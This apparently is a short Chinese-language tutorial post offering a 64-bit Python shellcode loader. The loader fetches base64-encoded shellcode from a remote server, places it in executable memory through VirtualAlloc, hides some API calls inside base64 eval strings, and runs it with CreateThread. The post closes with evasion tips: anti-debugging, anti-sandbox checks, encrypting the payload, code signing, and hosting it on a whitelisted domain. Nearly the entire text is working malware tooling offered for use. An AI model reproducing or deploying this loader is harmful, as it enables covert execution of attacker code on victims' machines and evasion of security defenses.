加载器 64位

远程加载shellcode

1
import ctypes,urllib.request,codecs,base64proxy_handler = urllib.request.ProxyHandler({})opener = urllib.request.build_opener(proxy_handler)urllib.request.install_opener(opener)shellcode = urllib.request.urlopen('http://127.0.0.1:8080/test.txt').read().strip()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ=="))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.c_uint64(ptr),    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.pointer(ctypes.c_int(0)))eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))

服务器上传txt文件，将shellcode编码存入

高级玩法：可加反调试、反沙箱或者将txt内容进行加密混淆为aes、ras等、加入签名 也可以将ip地址改为白名单域名